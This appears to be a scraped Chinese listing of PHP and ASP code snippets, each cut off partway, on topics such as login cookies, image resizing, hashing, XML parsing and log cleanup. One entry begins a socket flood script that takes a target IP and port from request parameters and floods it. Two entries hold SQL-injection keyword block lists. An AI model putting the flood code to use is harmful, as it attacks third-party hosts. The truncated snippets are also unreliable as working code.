Time of Update: 2018-12-08
複製代碼 代碼如下:<?php function gmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d->read())) { if($v == “.” || $v == “..”) continue; $file = $d->path.”/”.$v; if(@is_dir($file)) { gmfun($file); } else { if(@ereg(stripslashes($_POST["key"]
Time of Update: 2018-12-08
用PHP代碼調用sockets,直接用伺服器的網路攻擊別的IP,常見代碼如下: 複製代碼 代碼如下:$packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\']; $time = time(); print \"Flooded: $ip on port $rand \"; $max_time
Time of Update: 2018-12-08
php實現記住密碼自動登入方法不止一個,下面出現有二個emptyempty,其實是一個,那是因為代碼高亮有bug。希望對大家有協助。 一,使用者登入的check 複製代碼 代碼如下://檢查使用者是否登入 function checklogin(){ if(emptyempty($_SESSION['user_info'])){ //檢查一下session是不是為空白 if(emptyempty($_COOKIE['username']) ||
Time of Update: 2018-12-08
複製代碼 代碼如下:function jk1986_checksql() { $bad_str = "and|select|update|'|delete|insert|*"; $bad_Array = explode("|",$bad_str); /** 過濾Get參數 **/ foreach ($bad_Array as $bad_a) { foreach ($_GET as $g) { if (substr_count(strtolower($g),$bad_a) > 0) {
Time of Update: 2018-12-08
Raphael Caixeta作為一個剛開始使用PHP的開發人員,總結了十點PHP開發的技術,希望能對這門了不起的放言的初學者能有些協助:1、盡量使用PHP內建的核心函數和類 2、巧用設定檔 3、時刻注意對要寫進資料的資料進行過濾 4、開發階段開啟錯誤提示 <5、代碼注釋不要過頭,適當就好 6、收藏喜愛的代碼片斷並放在很容易找到的地方 7、使用一款好的源碼編輯器來節約時間 8、使用MySQL管理工具(如phpMyAdmin) 9、使用PHP架構 10、與其他PHP開發人員保持交流
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php class Mobi { function __isMobile() { $useragent=$_SERVER['HTTP_USER_AGENT']; if(preg_match('/android|avantgo|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|opera m(ob|in)i|palm(
Time of Update: 2018-12-08
首先使用一個ini檔案來設定要縮放的大小,其中為寬或高0的則為圖片放大或縮小,都為0則還是原大小,都不為0都拉抻成指定的大小。 注意:ini檔案使用php解釋時為注釋檔案,什麼也沒有輸出,這是為了安全起見而故意為之。而;則是ini檔案的注釋。 我設定的ini檔案例子如下: 複製代碼 代碼如下:<?php /* ;Translate the image format using the original image size [Translation] width=0 height=0
Time of Update: 2018-12-08
ange($low, $high),range($low, $high, $step);//建立順序值的數組如:range(1,4)為(1,2,3,4)又如range('a','z') each($array)按順序返回數組的當前元素,並且將下一個元素設定為當前元素; reset($array)將數組當前元素重新設定到數組開始處 list()可以用來將一個數組分解為一系列的值,如 list($a,$b)=each($array) shuffle($array),array_rand($arg,
Time of Update: 2018-12-08
1,拼接字串 拼接字串是最常用到的字串操作之一,在PHP中支援三種方式對字串進行拼接操作,分別是圓點.分隔字元{}操作,還有圓點等號.=來進行操作,圓點等號可以把一個比較長的字串分解為幾行進行定義,這樣做是比較有好處的. 2,替換字串 在PHP這門語言中,提供了一個名字叫做substr_replace()的函數,該函數的作用可以快速的完成掃描和編輯常值內容較多的字串替換功能.他的文法格式: mixed substr_replace(mixed $string,string
Time of Update: 2018-12-08
複製代碼 代碼如下:Function sha1_file(filename, raw_output) Dim HashedData, Utility, Stream Set HashedData = CreateObject("CAPICOM.HashedData") Set Utility = CreateObject("CAPICOM.Utilities") Set Stream = CreateObject("ADODB.Stream") HashedData.Algorithm = 0
Time of Update: 2018-12-08
複製代碼 代碼如下:Function md5_file(filename, raw_output) Dim HashedData, Utility, Stream Set HashedData = CreateObject("CAPICOM.HashedData") Set Utility = CreateObject("CAPICOM.Utilities") Set Stream = CreateObject("ADODB.Stream") HashedData.Algorithm = 3
Time of Update: 2018-12-08
複製代碼 代碼如下:function ImageResize($srcFile,$toW,$toH,$toFile="") { if($toFile==""){ $toFile = $srcFile; } $info = ""; $data = GetImageSize($srcFile,$info); switch ($data[2]) { case 1: if(!function_exists("imagecreatefromgif")){ echo
Time of Update: 2018-12-08
最近在做一個主題投票網站,客戶懂一些程式方面的東西。有特別要求需要過濾一些字元防止sql注入。本來這方面就沒有特別的研究過。呵呵,又發揚了一回拿來主義。把discuz論壇的sql防注入函數取了來! 複製代碼 代碼如下:$magic_quotes_gpc = get_magic_quotes_gpc(); @extract(daddslashes($_COOKIE)); @extract(daddslashes($_POST)); @extract(daddslashes($_GET)); if(
Time of Update: 2018-12-08
複製代碼 代碼如下:$url = "http://sinaurl.cn/hbdsU5"; echo unshorten($url); function unshorten($url) { $url = trim($url); $headers = get_headers($url); $location = $url; $short = false; foreach($headers as $head) { if($head=="HTTP/1.1 302 Found") $short =
Time of Update: 2018-12-08
看了這個問題,第一個反應就是namespace的關係,但我從來沒有使用simplexml操作過namespace,於是就翻開手冊查了一下資料,問題並沒有解決,最終是通過google解決了該問題。 提問題的朋友貼出了資料來源,來自於:http://code.google.com/intl/zh-CN/apis/contacts/docs/3.0/developers_guide_protocol.html#retrieving_without_query,資料結構大致如下: 複製代碼 代碼如下:&
Time of Update: 2018-12-08
用Php讀取XML最簡單的情況: XML檔案(cy.xml)如下: 複製代碼 代碼如下:<?xml version=”1.0″ encoding=”gb2312″?> <xml> <list>1</list> <list>2</list> <list>3</list> </xml> Php檔案(cy.php)如下: 複製代碼 代碼如下:<?php $xml = new
Time of Update: 2018-12-08
PHP版本: 複製代碼 代碼如下:/** * 刪除7天前的日誌 * @param $logPath */ function del7daysAgoLog($logPath) { if(empty($logPath))return; $handle = opendir($logPath); while(($file = readdir($handle)) !== false){ $pos = strpos($file, '.log'); if ($pos !== false &&
Time of Update: 2018-12-08
深入理解PHP之require/include順序 http://www.jb51.net/article/25867.htm普及在php手冊中: require() is identical to include() except upon failure it will also produce a fatal E_ERROR level error. In other words, it will halt the script whereas include() only emits
Time of Update: 2018-12-08
常用的圖片處理工具有GD,ImageMagick,GraphicsMagick等等。GD就是個阿鬥,略過不提;ImageMagick是目前最流行的圖片處理工具,它的功能非常豐富;GraphicsMagick的功能略遜於ImageMagick,但是它的效率更強悍,就好比Apache和Nginx一樣,一個功能更強,一個效率更勝。現在更看重效率,所以本文就以GraphicsMagick為例來說說:對於PHPer來說,有兩種使用GraphicsMagick的方式:1:使用PECL Gmagick擴充。2
Time of Update: 2018-12-08
複製代碼 代碼如下:foreach ($array as &$row) { $row = explode('/', $row); } foreach ($array as $row) { //do something } 這麼寫,在第二個迴圈會出邏輯錯誤,加入第二個迴圈中do something的地方是輸出$row,迴圈到最後一個的時候的輸出是倒數第二個元素,而不是最後一個 要這麼寫 複製代碼 代碼如下:foreach ($array as &$row) { $row =